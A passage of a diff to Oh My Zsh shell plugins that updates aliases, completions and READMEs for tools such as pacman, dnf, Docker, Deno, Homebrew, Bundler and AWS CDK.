finder="'{0,1}$cmd$wordEnd"
|
finder="'?$cmd$wordEnd"
|
||||||
|
|
||||||
# make filter to find only shorter results than current cmd
|
# make filter to find only shorter results than current cmd
|
||||||
if [[ $cheaper == true ]]; then
|
if [[ $cheaper == true ]]; then
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import argparse
|
|||||||
|
|
||||||
def parse(line):
|
def parse(line):
|
||||||
left = line[0:line.find('=')].strip()
|
left = line[0:line.find('=')].strip()
|
||||||
right = line[line.find('=')+1:].strip('\'"\n ')
|
right = line[line.find('=')+1:].strip('\n ')
|
||||||
|
if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
|
||||||
|
right = right[1:-1]
|
||||||
try:
|
try:
|
||||||
cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
|
cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
|
||||||
except StopIteration:
|
except StopIteration:
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
# Functions
|
# Functions
|
||||||
function ansible-version(){
|
function ansible-version() {
|
||||||
ansible --version
|
ansible --version
|
||||||
}
|
}
|
||||||
|
|
||||||
function ansible-role-init(){
|
function ansible-role-init() {
|
||||||
if ! [ -z $1 ] ; then
|
if [[ -n "$1" ]]; then
|
||||||
echo "Ansible Role : $1 Creating...."
|
echo "Ansible Role : $1 Creating...."
|
||||||
ansible-galaxy init $1
|
ansible-galaxy init "$1"
|
||||||
tree $1
|
tree "$1"
|
||||||
else
|
else
|
||||||
echo "Usage : ansible-role-init <role name>"
|
echo "Usage : ansible-role-init <role name>"
|
||||||
echo "Example : ansible-role-init role1"
|
echo "Example : ansible-role-init role1"
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ plugins=(... archlinux)
|
|||||||
| pacloc | `pacman -Qi` | Display information about a package in the local database |
|
| pacloc | `pacman -Qi` | Display information about a package in the local database |
|
||||||
| paclocs | `pacman -Qs` | Search for packages in the local database |
|
| paclocs | `pacman -Qs` | Search for packages in the local database |
|
||||||
| paclr | `sudo pacman -Scc` | Remove all files from the cache |
|
| paclr | `sudo pacman -Scc` | Remove all files from the cache |
|
||||||
| paclsorphans | `sudo pacman -Qdt` | List all orphaned packages |
|
| paclsorphans | `pacman -Qdt` | List all orphaned packages |
|
||||||
| pacmir | `sudo pacman -Syy` | Force refresh of all package lists after updating mirrorlist |
|
| pacmir | `sudo pacman -Syy` | Force refresh of all package lists after updating mirrorlist |
|
||||||
| pacre | `sudo pacman -R` | Remove packages, keeping its settings and dependencies |
|
| pacre | `sudo pacman -R` | Remove packages, keeping its settings and dependencies |
|
||||||
| pacrem | `sudo pacman -Rns` | Remove packages, including its settings and dependencies |
|
| pacrem | `sudo pacman -Rns` | Remove packages, including its settings and dependencies |
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
|
|||||||
alias paclocs='pacman -Qs'
|
alias paclocs='pacman -Qs'
|
||||||
alias pacinsd='sudo pacman -S --asdeps'
|
alias pacinsd='sudo pacman -S --asdeps'
|
||||||
alias pacmir='sudo pacman -Syy'
|
alias pacmir='sudo pacman -Syy'
|
||||||
alias paclsorphans='sudo pacman -Qdt'
|
alias paclsorphans='pacman -Qdt'
|
||||||
alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
|
alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
|
||||||
alias pacfileupg='sudo pacman -Fy'
|
alias pacfileupg='sudo pacman -Fy'
|
||||||
alias pacfiles='pacman -F'
|
alias pacfiles='pacman -F'
|
||||||
|
|||||||
@@ -9,14 +9,14 @@ function agr() {
|
|||||||
# Update state file if enabled
|
# Update state file if enabled
|
||||||
function _aws_update_state() {
|
function _aws_update_state() {
|
||||||
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
||||||
test -d $(dirname ${AWS_STATE_FILE}) || exit 1
|
test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
|
||||||
echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
|
echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function _aws_clear_state() {
|
function _aws_clear_state() {
|
||||||
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
||||||
test -d $(dirname ${AWS_STATE_FILE}) || exit 1
|
test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
|
||||||
echo -n > "${AWS_STATE_FILE}"
|
echo -n > "${AWS_STATE_FILE}"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
# Bedtools plugin
|
# Bedtools plugin
|
||||||
|
|
||||||
This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
|
This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):
|
||||||
|
|
||||||
* Adds autocomplete options for all bedtools sub commands.
|
* Adds autocomplete options for all bedtools sub commands.
|
||||||
|
|||||||
@@ -67,6 +67,9 @@ function bgnotify_appid {
|
|||||||
elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
|
elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
|
||||||
local app_id=$(bgnotify_find_sway_appid)
|
local app_id=$(bgnotify_find_sway_appid)
|
||||||
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
|
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
|
||||||
|
elif [[ -n $NIRI_SOCKET ]]; then # niri
|
||||||
|
local app_id=$(bgnotify_find_niri_appid)
|
||||||
|
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
|
||||||
elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
|
elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
|
||||||
xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
|
xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
|
||||||
else
|
else
|
||||||
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function bgnotify_find_niri_appid {
|
||||||
|
if (( ${+commands[jq]} )); then
|
||||||
|
niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
function bgnotify_programid {
|
function bgnotify_programid {
|
||||||
case "$TERM_PROGRAM" in
|
case "$TERM_PROGRAM" in
|
||||||
iTerm.app) echo 'com.googlecode.iterm2' ;;
|
iTerm.app) echo 'com.googlecode.iterm2' ;;
|
||||||
|
|||||||
@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
|
|||||||
In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
|
In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
|
||||||
the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
|
the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
|
||||||
|
|
||||||
|
### sbin directory
|
||||||
|
|
||||||
|
This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
|
||||||
|
Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
|
||||||
|
ensures the `bdr` alias runs without warnings.
|
||||||
|
|
||||||
## Aliases
|
## Aliases
|
||||||
|
|
||||||
| Alias | Command | Description |
|
| Alias | Command | Description |
|
||||||
@@ -40,7 +46,7 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
|
|||||||
| `bo` | `brew outdated` | List installed formulae that have an updated version available. |
|
| `bo` | `brew outdated` | List installed formulae that have an updated version available. |
|
||||||
| `br` | `brew reinstall` | Reinstall a formula. |
|
| `br` | `brew reinstall` | Reinstall a formula. |
|
||||||
| `brewp` | `brew pin` | Pin a specified formula so that it's not upgraded. |
|
| `brewp` | `brew pin` | Pin a specified formula so that it's not upgraded. |
|
||||||
| `brews` | `brew list -1` | List installed formulae or the installed files for a given formula. |
|
| `brews` | _function_ | List installed leaf formulae with their dependencies, then casks. |
|
||||||
| `brewsp` | `brew list --pinned` | List pinned formulae, or show the version of a given formula. |
|
| `brewsp` | `brew list --pinned` | List pinned formulae, or show the version of a given formula. |
|
||||||
| `brh` | `brew reinstall --HEAD` | Reinstall a formula with --HEAD |
|
| `brh` | `brew reinstall --HEAD` | Reinstall a formula with --HEAD |
|
||||||
| `bs` | `brew search` | Perform a substring search of cask tokens and formula names for text. |
|
| `bs` | `brew search` | Perform a substring search of cask tokens and formula names for text. |
|
||||||
|
|||||||
@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
|
|||||||
export HOMEBREW_PREFIX="$(brew --prefix)"
|
export HOMEBREW_PREFIX="$(brew --prefix)"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# Add Homebrew sbin to PATH if it exists and is not already in PATH.
|
||||||
|
# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
|
||||||
|
# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
|
||||||
|
# missing from PATH.
|
||||||
|
if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
|
||||||
|
if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
|
||||||
|
export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
|
if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
|
||||||
fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
|
fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
|
||||||
fi
|
fi
|
||||||
|
|||||||
+13
-12
@@ -11,18 +11,19 @@ plugins=(... bundler)
|
|||||||
|
|
||||||
## Aliases
|
## Aliases
|
||||||
|
|
||||||
| Alias | Command | Description |
|
| Alias | Command | Description |
|
||||||
|--------|--------------------------------------|------------------------------------------------------------------------------------------|
|
| ------ | ----------------- | -------------------------------------------------------- |
|
||||||
| `ba` | `bundle add` | Add gem to the Gemfile and run bundle install |
|
| `ba` | `bundle add` | Add gem to the Gemfile and run bundle install |
|
||||||
| `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems |
|
| `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems |
|
||||||
| `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory |
|
| `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory |
|
||||||
| `be` | `bundle exec` | Execute a command in the context of the bundle |
|
| `be` | `bundle exec` | Execute a command in the context of the bundle |
|
||||||
| `bi` | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) |
|
| `bi` | `bundle install` | Install the dependencies specified in your Gemfile |
|
||||||
| `bl` | `bundle list` | List all the gems in the bundle |
|
| `bl` | `bundle list` | List all the gems in the bundle |
|
||||||
| `bo` | `bundle open` | Opens the source directory for a gem in your bundle |
|
| `bo` | `bundle open` | Opens the source directory for a gem in your bundle |
|
||||||
| `bout` | `bundle outdated` | List installed gems with newer versions available |
|
| `bout` | `bundle outdated` | List installed gems with newer versions available |
|
||||||
| `bp` | `bundle package` | Package your needed .gem files into your application |
|
| `bp` | `bundle package` | Package your needed .gem files into your application |
|
||||||
| `bu` | `bundle update` | Update your gems to the latest available versions |
|
| `bu` | `bundle update` | Update your gems to the latest available versions |
|
||||||
|
| `bua` | `bundle update --all` | Update all gems to the latest available versions |
|
||||||
|
|
||||||
## Gem wrapper
|
## Gem wrapper
|
||||||
|
|
||||||
|
|||||||
@@ -4,44 +4,13 @@ alias ba="bundle add"
|
|||||||
alias bck="bundle check"
|
alias bck="bundle check"
|
||||||
alias bcn="bundle clean"
|
alias bcn="bundle clean"
|
||||||
alias be="bundle exec"
|
alias be="bundle exec"
|
||||||
alias bi="bundle_install"
|
alias bi="bundle install"
|
||||||
alias bl="bundle list"
|
alias bl="bundle list"
|
||||||
alias bo="bundle open"
|
alias bo="bundle open"
|
||||||
alias bout="bundle outdated"
|
alias bout="bundle outdated"
|
||||||
alias bp="bundle package"
|
alias bp="bundle package"
|
||||||
alias bu="bundle update"
|
alias bu="bundle update"
|
||||||
|
alias bua="bundle update --all"
|
||||||
## Functions
|
|
||||||
|
|
||||||
bundle_install() {
|
|
||||||
# Bail out if bundler is not installed
|
|
||||||
if (( ! $+commands[bundle] )); then
|
|
||||||
echo "Bundler is not installed"
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Bail out if not in a bundled project
|
|
||||||
if ! _within-bundled-project; then
|
|
||||||
echo "Can't 'bundle install' outside a bundled project"
|
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Check the bundler version is at least 1.4.0
|
|
||||||
autoload -Uz is-at-least
|
|
||||||
local bundler_version=$(bundle version | cut -d' ' -f3)
|
|
||||||
if ! is-at-least 1.4.0 "$bundler_version"; then
|
|
||||||
bundle install "$@"
|
|
||||||
return $?
|
|
||||||
fi
|
|
||||||
|
|
||||||
# If bundler is at least 1.4.0, use all the CPU cores to bundle install
|
|
||||||
if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
|
|
||||||
local cores_num="$(sysctl -n hw.ncpu)"
|
|
||||||
else
|
|
||||||
local cores_num="$(nproc)"
|
|
||||||
fi
|
|
||||||
BUNDLE_JOBS="$cores_num" bundle install "$@"
|
|
||||||
}
|
|
||||||
|
|
||||||
## Gem wrapper
|
## Gem wrapper
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
# AWS CDK Plugin
|
||||||
|
|
||||||
|
This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Add `cdk` to the plugins array in your `.zshrc`:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
plugins=(... cdk)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
|
||||||
|
|
||||||
|
## Aliases
|
||||||
|
|
||||||
|
| Alias | Command | Description |
|
||||||
|
| ------------ | ----------------- | ---------------------------------- |
|
||||||
|
| `cdkl` | `cdk list` | List all stacks in the app |
|
||||||
|
| `cdksynth` | `cdk synth` | Synthesize CloudFormation template |
|
||||||
|
| `cdkdiff` | `cdk diff` | Compare deployed vs local stack |
|
||||||
|
| `cdkdeploy` | `cdk deploy` | Deploy stack to AWS |
|
||||||
|
| `cdkdestroy` | `cdk destroy` | Destroy deployed stack |
|
||||||
|
| `cdkboot` | `cdk bootstrap` | Bootstrap CDK environment |
|
||||||
|
| `cdkdoc` | `cdk docs` | Open CDK documentation |
|
||||||
|
| `cdkinit` | `cdk init` | Initialize a new CDK project |
|
||||||
|
| `cdkwatch` | `cdk watch` | Watch for changes and auto-deploy |
|
||||||
|
| `cdkctx` | `cdk context` | Manage cached context values |
|
||||||
|
| `cdkack` | `cdk acknowledge` | Acknowledge a notice |
|
||||||
|
| `cdkver` | `cdk --version` | Print CDK version |
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
#compdef cdk
|
||||||
|
|
||||||
|
# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
|
||||||
|
|
||||||
|
local -a reply
|
||||||
|
local IFS
|
||||||
|
IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
|
||||||
|
COMP_LINE="$BUFFER" \
|
||||||
|
COMP_POINT="$CURSOR" \
|
||||||
|
cdk --get-yargs-completions "${words[@]}"))
|
||||||
|
|
||||||
|
_describe 'values' reply
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
# Aliases
|
||||||
|
alias cdkl='cdk list'
|
||||||
|
alias cdksynth='cdk synth'
|
||||||
|
alias cdkdiff='cdk diff'
|
||||||
|
alias cdkdeploy='cdk deploy'
|
||||||
|
alias cdkdestroy='cdk destroy'
|
||||||
|
alias cdkboot='cdk bootstrap'
|
||||||
|
alias cdkdoc='cdk docs'
|
||||||
|
alias cdkinit='cdk init'
|
||||||
|
alias cdkwatch='cdk watch'
|
||||||
|
alias cdkctx='cdk context'
|
||||||
|
alias cdkack='cdk acknowledge'
|
||||||
|
alias cdkver='cdk --version'
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# Celery
|
# Celery
|
||||||
|
|
||||||
This plugin provides completion for [Celery](http://www.celeryproject.org/).
|
This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).
|
||||||
|
|
||||||
To use it add celery to the plugins array in your zshrc file.
|
To use it add celery to the plugins array in your zshrc file.
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
# codex Plugin
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
|
||||||
|
|
||||||
|
To use it, add `codex` to the plugins array of your zshrc file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
plugins=(... codex)
|
||||||
|
```
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
# COMPLETION FUNCTION
|
||||||
|
if (( ! $+commands[codex] )); then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
# If the completion file doesn't exist yet, we need to autoload it and
|
||||||
|
# bind it to `codex`. Otherwise, compinit will have already done that.
|
||||||
|
if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
|
||||||
|
typeset -g -A _comps
|
||||||
|
autoload -Uz _codex
|
||||||
|
_comps[codex]=_codex
|
||||||
|
fi
|
||||||
|
|
||||||
|
codex completion zsh < /dev/null 2> /dev/null >| "$ZSH_CACHE_DIR/completions/_codex" &|
|
||||||
@@ -32,5 +32,6 @@ It works out of the box with the command-not-found packages for:
|
|||||||
- [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
|
- [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
|
||||||
- [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
|
- [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
|
||||||
- [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
|
- [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
|
||||||
|
- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)
|
||||||
|
|
||||||
You can add support for other platforms by submitting a Pull Request.
|
You can add support for other platforms by submitting a Pull Request.
|
||||||
|
|||||||
@@ -74,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
|
|||||||
/usr/bin/command-not-found "$1"
|
/usr/bin/command-not-found "$1"
|
||||||
}
|
}
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
|
||||||
|
if [[ -x /usr/libexec/command-not-found ]]; then
|
||||||
|
command_not_found_handler() {
|
||||||
|
/usr/libexec/command-not-found "$1"
|
||||||
|
}
|
||||||
|
fi
|
||||||
|
|||||||
@@ -78,7 +78,7 @@ if is-at-least 4.2.0; then
|
|||||||
alias -s chm=xchm
|
alias -s chm=xchm
|
||||||
alias -s djvu=djview
|
alias -s djvu=djview
|
||||||
|
|
||||||
#list whats inside packed file
|
#list what's inside packed file
|
||||||
alias -s zip="unzip -l"
|
alias -s zip="unzip -l"
|
||||||
alias -s rar="unrar l"
|
alias -s rar="unrar l"
|
||||||
alias -s tar="tar tf"
|
alias -s tar="tar tf"
|
||||||
|
|||||||
+14
-14
@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
|
|||||||
|
|
||||||
## Aliases
|
## Aliases
|
||||||
|
|
||||||
| Alias | Full command |
|
| Alias | Full command |
|
||||||
| ----- | ------------------- |
|
| ----- | ---------------- |
|
||||||
| db | deno bundle |
|
| dc | deno compile |
|
||||||
| dc | deno compile |
|
| dca | deno cache |
|
||||||
| dca | deno cache |
|
| dck | deno check |
|
||||||
| dfmt | deno fmt |
|
| dfmt | deno fmt |
|
||||||
| dh | deno help |
|
| dh | deno help |
|
||||||
| dli | deno lint |
|
| dli | deno lint |
|
||||||
| drn | deno run |
|
| drn | deno run |
|
||||||
| drA | deno run -A |
|
| drA | deno run -A |
|
||||||
| drw | deno run --watch |
|
| drw | deno run --watch |
|
||||||
| dru | deno run --unstable |
|
| dsv | deno serve |
|
||||||
| dts | deno test |
|
| dts | deno test |
|
||||||
| dup | deno upgrade |
|
| dup | deno upgrade |
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
# ALIASES
|
# ALIASES
|
||||||
alias db='deno bundle'
|
|
||||||
alias dc='deno compile'
|
alias dc='deno compile'
|
||||||
alias dca='deno cache'
|
alias dca='deno cache'
|
||||||
|
alias dck='deno check'
|
||||||
alias dfmt='deno fmt'
|
alias dfmt='deno fmt'
|
||||||
alias dh='deno help'
|
alias dh='deno help'
|
||||||
alias dli='deno lint'
|
alias dli='deno lint'
|
||||||
alias drn='deno run'
|
alias drn='deno run'
|
||||||
alias drA='deno run -A'
|
alias drA='deno run -A'
|
||||||
alias drw='deno run --watch'
|
alias drw='deno run --watch'
|
||||||
alias dru='deno run --unstable'
|
alias dsv='deno serve'
|
||||||
alias dts='deno test'
|
alias dts='deno test'
|
||||||
alias dup='deno upgrade'
|
alias dup='deno upgrade'
|
||||||
|
|
||||||
|
|||||||
+16
-15
@@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.
|
|||||||
|
|
||||||
## Aliases
|
## Aliases
|
||||||
|
|
||||||
| Alias | Command | Description |
|
| Alias | Command | Description |
|
||||||
|-------|-------------------------|--------------------------|
|
|-------|-------------------------------|------------------------------------------|
|
||||||
| dnfl | `dnf list` | List packages |
|
| dnfl | `dnf list` | List packages |
|
||||||
| dnfli | `dnf list installed` | List installed packages |
|
| dnfli | `dnf list --installed` | List installed packages |
|
||||||
| dnfgl | `dnf grouplist` | List package groups |
|
| dnfgl | `dnf grouplist` | List package groups |
|
||||||
| dnfmc | `dnf makecache` | Generate metadata cache |
|
| dnfmc | `dnf makecache` | Generate metadata cache |
|
||||||
| dnfp | `dnf info` | Show package information |
|
| dnfp | `dnf info` | Show package information |
|
||||||
| dnfs | `dnf search` | Search package |
|
| dnfs | `dnf search` | Search package |
|
||||||
| **Use `sudo`** |
|
| **Use `sudo`** |
|
||||||
| dnfu | `sudo dnf upgrade` | Upgrade package |
|
| dnfu | `sudo dnf upgrade` | Upgrade package |
|
||||||
| dnfi | `sudo dnf install` | Install package |
|
| dnfur | `sudo dnf upgrade --refresh` | Upgrade package (force metadata refresh) |
|
||||||
| dnfgi | `sudo dnf groupinstall` | Install package group |
|
| dnfi | `sudo dnf install` | Install package |
|
||||||
| dnfr | `sudo dnf remove` | Remove package |
|
| dnfgi | `sudo dnf groupinstall` | Install package group |
|
||||||
| dnfgr | `sudo dnf groupremove` | Remove package group |
|
| dnfr | `sudo dnf remove` | Remove package |
|
||||||
| dnfc | `sudo dnf clean all` | Clean cache |
|
| dnfgr | `sudo dnf groupremove` | Remove package group |
|
||||||
|
| dnfc | `sudo dnf clean all` | Clean cache |
|
||||||
|
|||||||
@@ -5,12 +5,13 @@ local dnfprog="dnf"
|
|||||||
command -v dnf5 > /dev/null && dnfprog=dnf5
|
command -v dnf5 > /dev/null && dnfprog=dnf5
|
||||||
|
|
||||||
alias dnfl="${dnfprog} list" # List packages
|
alias dnfl="${dnfprog} list" # List packages
|
||||||
alias dnfli="${dnfprog} list installed" # List installed packages
|
alias dnfli="${dnfprog} list --installed" # List installed packages
|
||||||
alias dnfmc="${dnfprog} makecache" # Generate metadata cache
|
alias dnfmc="${dnfprog} makecache" # Generate metadata cache
|
||||||
alias dnfp="${dnfprog} info" # Show package information
|
alias dnfp="${dnfprog} info" # Show package information
|
||||||
alias dnfs="${dnfprog} search" # Search package
|
alias dnfs="${dnfprog} search" # Search package
|
||||||
|
|
||||||
alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package
|
alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package
|
||||||
|
alias dnfur="sudo ${dnfprog} upgrade --refresh" # Upgrade package and refresh repos
|
||||||
alias dnfi="sudo ${dnfprog} install" # Install package
|
alias dnfi="sudo ${dnfprog} install" # Install package
|
||||||
alias dnfr="sudo ${dnfprog} remove" # Remove package
|
alias dnfr="sudo ${dnfprog} remove" # Remove package
|
||||||
alias dnfc="sudo ${dnfprog} clean all" # Clean cache
|
alias dnfc="sudo ${dnfprog} clean all" # Clean cache
|
||||||
|
|||||||
@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
|||||||
| dcin | `docker container inspect` | Display detailed information on one or more containers |
|
| dcin | `docker container inspect` | Display detailed information on one or more containers |
|
||||||
| dcls | `docker container ls` | List all the running docker containers |
|
| dcls | `docker container ls` | List all the running docker containers |
|
||||||
| dclsa | `docker container ls -a` | List all running and stopped containers |
|
| dclsa | `docker container ls -a` | List all running and stopped containers |
|
||||||
|
| dcprune | `docker container prune` | Remove all stopped containers |
|
||||||
| dib | `docker image build` | Build an image from a Dockerfile (same as docker build) |
|
| dib | `docker image build` | Build an image from a Dockerfile (same as docker build) |
|
||||||
| dii | `docker image inspect` | Display detailed information on one or more images |
|
| dii | `docker image inspect` | Display detailed information on one or more images |
|
||||||
| dils | `docker image ls` | List docker images |
|
| dils | `docker image ls` | List docker images |
|
||||||
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
|||||||
| dndcn | `docker network disconnect` | Disconnect a container from a network |
|
| dndcn | `docker network disconnect` | Disconnect a container from a network |
|
||||||
| dni | `docker network inspect` | Return information about one or more networks |
|
| dni | `docker network inspect` | Return information about one or more networks |
|
||||||
| dnls | `docker network ls` | List all networks the engine daemon knows about, including those spanning multiple hosts |
|
| dnls | `docker network ls` | List all networks the engine daemon knows about, including those spanning multiple hosts |
|
||||||
|
| dnprune | `docker network prune` | Remove all unused networks |
|
||||||
| dnrm | `docker network rm` | Remove one or more networks |
|
| dnrm | `docker network rm` | Remove one or more networks |
|
||||||
| dpo | `docker container port` | List port mappings or a specific mapping for the container |
|
| dpo | `docker container port` | List port mappings or a specific mapping for the container |
|
||||||
| dps | `docker ps` | List all the running docker containers |
|
| dps | `docker ps` | List all the running docker containers |
|
||||||
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
|||||||
| drit | `docker container run -it` | Create a new container and start it in an interactive shell |
|
| drit | `docker container run -it` | Create a new container and start it in an interactive shell |
|
||||||
| drm | `docker container rm` | Remove the specified container(s) |
|
| drm | `docker container rm` | Remove the specified container(s) |
|
||||||
| drm! | `docker container rm -f` | Force the removal of a running container (uses SIGKILL) |
|
| drm! | `docker container rm -f` | Force the removal of a running container (uses SIGKILL) |
|
||||||
|
| dsprune | `docker system prune` | Remove unused data |
|
||||||
| dst | `docker container start` | Start one or more stopped containers |
|
| dst | `docker container start` | Start one or more stopped containers |
|
||||||
| drs | `docker container restart` | Restart one or more containers |
|
| drs | `docker container restart` | Restart one or more containers |
|
||||||
| dsta | `docker stop $(docker ps -q)` | Stop all running containers |
|
| dsta | `docker stop $(docker ps -q)` | Stop all running containers |
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ alias dbl='docker build'
|
|||||||
alias dcin='docker container inspect'
|
alias dcin='docker container inspect'
|
||||||
alias dcls='docker container ls'
|
alias dcls='docker container ls'
|
||||||
alias dclsa='docker container ls -a'
|
alias dclsa='docker container ls -a'
|
||||||
|
alias dcprune='docker container prune'
|
||||||
alias dib='docker image build'
|
alias dib='docker image build'
|
||||||
alias dii='docker image inspect'
|
alias dii='docker image inspect'
|
||||||
alias dils='docker image ls'
|
alias dils='docker image ls'
|
||||||
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
|
|||||||
alias dndcn='docker network disconnect'
|
alias dndcn='docker network disconnect'
|
||||||
alias dni='docker network inspect'
|
alias dni='docker network inspect'
|
||||||
alias dnls='docker network ls'
|
alias dnls='docker network ls'
|
||||||
|
alias dnprune='docker network prune'
|
||||||
alias dnrm='docker network rm'
|
alias dnrm='docker network rm'
|
||||||
alias dpo='docker container port'
|
alias dpo='docker container port'
|
||||||
alias dps='docker ps'
|
alias dps='docker ps'
|
||||||
@@ -24,6 +26,7 @@ alias dr='docker container run'
|
|||||||
alias drit='docker container run -it'
|
alias drit='docker container run -it'
|
||||||
alias drm='docker container rm'
|
alias drm='docker container rm'
|
||||||
alias 'drm!'='docker container rm -f'
|
alias 'drm!'='docker container rm -f'
|
||||||
|
alias dsprune='docker system prune'
|
||||||
